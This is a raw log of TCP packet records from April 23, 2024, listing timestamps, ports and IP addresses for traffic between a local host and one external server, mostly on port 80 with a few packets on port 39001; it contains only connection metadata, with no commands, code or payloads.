Apr 23, 2024 23:02:08.492968082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493010044 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493025064 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.493047953 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493052959 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.493087053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493109941 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.493125916 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493134022 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.493166924 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493180990 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.493212938 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493252039 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493267059 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.493292093 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.493308067 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.493345976 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.534507036 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.534603119 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553385973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553431034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553447008 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553472042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553494930 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553509951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553519011 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553555965 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553563118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553596020 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553610086 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553642035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553674936 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553683043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553698063 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553721905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553740978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553761959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553776979 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553801060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553808928 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553842068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553848028 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553880930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553888083 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553920031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553930044 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553956985 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.553973913 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.553996086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554012060 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554033041 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554044008 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554073095 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554091930 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554111004 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554125071 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554151058 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554163933 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554189920 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554224014 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554228067 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554250002 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554265976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554276943 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554303885 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554342031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554367065 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554380894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554388046 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554419041 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554455996 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554467916 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554493904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554502964 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554532051 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554543972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554572105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554585934 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554611921 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554621935 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554668903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554687977 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554708004 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554727077 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554745913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554760933 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554785013 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554795980 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554882050 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554892063 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554920912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554955006 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554958105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.554977894 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.554999113 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555013895 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555036068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555052996 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555074930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555088997 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555115938 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555135965 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555155039 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555169106 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555192947 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555205107 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555231094 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555269957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555273056 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555294991 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555309057 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555313110 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555346966 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555372953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555387020 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555396080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555423975 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555433989 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555463076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555500984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555519104 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555541039 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555551052 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555581093 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555607080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555619001 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555644035 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555661917 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555669069 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555701017 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555727959 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555738926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555748940 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555775881 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555794001 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555815935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555833101 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555855036 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555875063 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555892944 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555911064 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555929899 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.555943966 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.555969954 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556006908 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556025028 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556046009 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556061983 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556083918 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556096077 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556134939 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556152105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556189060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556204081 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556226015 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556238890 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556265116 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556278944 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556303978 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556315899 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556341887 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556355953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556380987 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556390047 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556421041 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556433916 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556459904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556498051 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556515932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556540012 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556550026 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556583881 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556591988 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556622982 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556638002 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556663990 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556695938 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556700945 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556736946 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556740046 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556756973 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556781054 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556790113 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556819916 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556849003 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556859016 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556869030 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556880951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556900024 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556919098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556924105 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556924105 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556940079 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556943893 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556960106 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556967020 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.556982040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.556987047 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557002068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557008982 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557020903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557029963 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557040930 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557058096 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557060003 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557080984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557091951 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557092905 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557101965 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557120085 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557121992 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557141066 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557151079 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557152033 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557161093 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557182074 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557187080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557187080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557202101 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557220936 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557224989 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557224989 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557240009 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557257891 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557262897 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557262897 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557276964 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557297945 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557301044 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557301044 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557316065 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557331085 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557337046 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557353020 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557358027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557375908 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557382107 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557394028 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557401896 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557414055 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557429075 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557430983 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557450056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557451963 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557468891 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557487011 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.557487011 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557506084 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.557523966 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.581310987 CEST	39001	49735	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.582240105 CEST	49735	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.596858025 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.596901894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.596932888 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.596976042 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.700551987 CEST	49736	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704279900 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704332113 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704361916 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704371929 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704392910 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704412937 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704422951 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704462051 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704497099 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704525948 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704525948 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704535961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704580069 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704617977 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704653978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704655886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704695940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704734087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704771042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704786062 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704808950 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704818010 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704849005 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704858065 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.704889059 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704927921 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704965115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.704982996 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.705013990 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.745784044 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.768775940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.768841982 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.768846989 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.768883944 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.768927097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.768930912 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.768968105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769005060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769006014 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769046068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769083977 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769123077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769160032 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769160032 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769201040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769220114 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769239902 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769246101 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769280910 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769321918 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769356966 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769361019 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769401073 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769408941 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769438982 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769476891 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769500017 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769514084 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769553900 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769563913 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769593954 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769634008 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769655943 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769670963 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769711018 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769727945 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769751072 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769788980 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769804955 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769828081 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769865036 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769875050 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769906044 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769943953 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.769958019 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:08.769984007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:08.770024061 CEST	80	49733	185.196.10.233	192.168.2.4
